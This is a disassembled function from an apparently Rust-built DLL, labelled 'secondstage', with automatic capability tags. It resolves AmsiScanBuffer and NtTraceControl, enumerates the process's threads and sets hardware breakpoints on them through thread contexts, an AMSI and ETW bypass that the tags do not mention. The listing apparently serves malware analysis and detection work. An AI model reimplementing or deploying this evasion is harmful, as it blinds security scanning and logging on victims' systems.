Function at 0x10001ea0
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x324
mov dword [ebp - 0x28], ecx
lea eax, [ebp - 0x32c]
push 0x2c8
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp byte [0x10161028], 0
mov dword [ebp - 0x330], 0x1003f
jne 0x10001f8e
lea esi, [ebp - 0x24]
push 8
push 0x101278fa
push esi
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x100023d2
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
push ebx
call sub.KERNEL32.dll_GetModuleHandleA
mov edi, eax
test eax, eax
mov dword [ebp - 0x14], ebx
jne 0x10001f24
push ebx
call sub.KERNEL32.dll_LoadLibraryA
mov edi, eax
test eax, eax
je 0x1000238b
push 0xe
push str.AmsiScanBuffer
push esi
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x10002408
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
push esi
push edi
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x100022a1
mov edi, dword [ebp - 0x10]
test ebx, ebx
mov byte [0x10161028], 1
mov dword [0x1016102c], eax
mov byte [esi], 0
je 0x10001f78
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x14]
test edi, edi
mov byte [eax], 0
je 0x10001f8e
push 1
push edi
push eax
call sym.___rust_dealloc
add esp, 0xc
cmp byte [0x10161030], 0
jne 0x10002039
lea esi, [ebp - 0x24]
push 9
push str.ntdll.dll
push esi
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x1000243b
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.KERNEL32.dll_GetModuleHandleA
mov edi, eax
push 0xe
push str.NtTraceControl
push esi
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x1000246e
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
push esi
push edi
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x100022e1
test ebx, ebx
mov byte [0x10161030], 1
mov dword [0x10161034], eax
mov byte [esi], 0
je 0x10002020
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
test ecx, ecx
mov byte [eax], 0
je 0x10002039
push 1
push ecx
push eax
call sym.___rust_dealloc
add esp, 0xc
push sym.__ZN11secondstage17exception_handler17h297c17fa5897da04E_4
push 1
call sub.KERNEL32.dll_AddVectoredExceptionHandler
xorps xmm0, xmm0
mov esi, eax
movsd qword [ebp - 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
lea eax, [ebp - 0x40]
push 0
push 0x18
push eax
push 0
push 0xffffffffffffffff
call sub.ntdll.dll_NtQueryInformationProcess
test eax, eax
mov dword [ebp - 0x48], 1
jne 0x10002078
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x48], eax
mov eax, dword [0x10146090]
movzx eax, byte [eax]
push 1
push 0x100000
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x100023c6
mov ebx, eax
mov dword [ebp - 0x4c], 0
lea eax, [ebp - 0x4c]
push eax
push 0x100000
push ebx
push 5
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x10002339
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 0
test eax, eax
mov dword [ebp - 0x5c], eax
je 0x10002339
mov eax, ebx
xor ecx, ecx
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x44], ebx
add eax, 0xb8
mov dword [ebp - 0x58], eax
nop
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], ecx
cmp dword [ebx + ecx + 0x44], eax
je 0x10002120
mov ebx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebx + ecx]
test eax, eax
je 0x100021ac
add ecx, eax
cmp ecx, dword [ebp - 0x5c]
jb 0x100020f0
jmp 0x100021ac
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x10]
mov ebx, dword [eax + ecx + 4]
test ebx, ebx
je 0x100020fc
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x10]
lea edi, [eax + ecx]
jmp 0x10002153
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov dword [eax + esi*4], ecx
inc esi
mov dword [ebp - 0x1c], esi
add edi, 0x40
dec ebx
je 0x100020fc
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x64], 0
movsd qword [ebp - 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov eax, dword [edi + 0x24]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x40]
push eax
push 0x1fffff
lea eax, [ebp - 0x50]
push eax
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x1000214d
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
cmp esi, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
jne 0x10002140
lea eax, [ebp - 0x24]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::h3cbfe3d8f3985190
add esp, 4
jmp 0x10002140
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
test edi, edi
je 0x10002324
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
push 1
push 0x100000
push ebx
call sym.___rust_dealloc
add esp, 0xc
shl edi, 2
mov dword [ebp - 0x10], esi
nop word cs:[eax + eax]
test esi, esi
je 0x10002282
mov ebx, dword [esi]
lea eax, [ebp - 0x330]
push eax
push ebx
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x10002362
cmp byte [0x10161028], 1
jne 0x1000222d
mov eax, dword [0x1016102c]
mov dword [ebp - 0x32c], eax
movzx eax, word [ebp - 0x318]
or eax, 1
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x31c], 0
cmp byte [0x10161030], 1
jne 0x1000225b
mov eax, dword [0x10161034]
mov dword [ebp - 0x328], eax
movzx eax, word [ebp - 0x318]
or eax, 4
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x31c], 0
lea eax, [ebp - 0x330]
push eax
push ebx
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x10002362
add esi, 4
push ebx
call sub.ntdll.dll_NtClose
add edi, 0xfffffffc
jne 0x100021e0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x54]
mov dword [eax + 4], ecx
mov dword [eax], 0x80000000
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10002380
jmp 0x100023bb
mov eax, dword [ebp - 0x28]
mov edi, dword [ebp - 0x10]
test ebx, ebx
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [esi], 0
je 0x100022ce
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x14]
test edi, edi
mov byte [eax], 0
jne 0x100023af
jmp 0x100023bb
mov eax, dword [ebp - 0x28]
test ebx, ebx
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [esi], 0
je 0x1000230b
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
test ecx, ecx
mov byte [eax], 0
je 0x100023bb
push 1
push ecx
jmp 0x100023b2
test eax, eax
je 0x10002339
shl eax, 2
push 4
push eax
push dword [ebp - 0x20]
call sym.___rust_dealloc
add esp, 0xc
push 1
push 0x100000
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
jmp 0x100023bb
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x100023bb
shl eax, 2
push 4
push eax
push dword [ebp - 0x10]
jmp 0x100023b3
mov eax, dword [ebp - 0x28]
mov edi, dword [ebp - 0x10]
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov eax, dword [ebp - 0x14]
test edi, edi
mov byte [eax], 0
je 0x100023bb
push 1
push edi
push eax
call sym.___rust_dealloc
add esp, 0xc
add esp, 0x324
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x100000
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x38], xmm1
movsd qword [ebp - 0x40], xmm0
lea eax, [ebp - 0x40]
push 0x10127904
push 0x100ce12c
push eax
push 0x2b
push 0x100ce15c
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000249f
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x38], xmm1
movsd qword [ebp - 0x40], xmm0
lea eax, [ebp - 0x40]
push 0x10127924
push 0x100ce12c
push eax
push 0x2b
push 0x100ce15c
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000249f
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x38], xmm1
movsd qword [ebp - 0x40], xmm0
lea eax, [ebp - 0x40]
push 0x10127940
push 0x100ce12c
push eax
push 0x2b
push 0x100ce15c
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000249f
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x38], xmm1
movsd qword [ebp - 0x40], xmm0
lea eax, [ebp - 0x40]
push 0x10127960
push 0x100ce12c
push eax
push 0x2b
push 0x100ce15c
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
ud2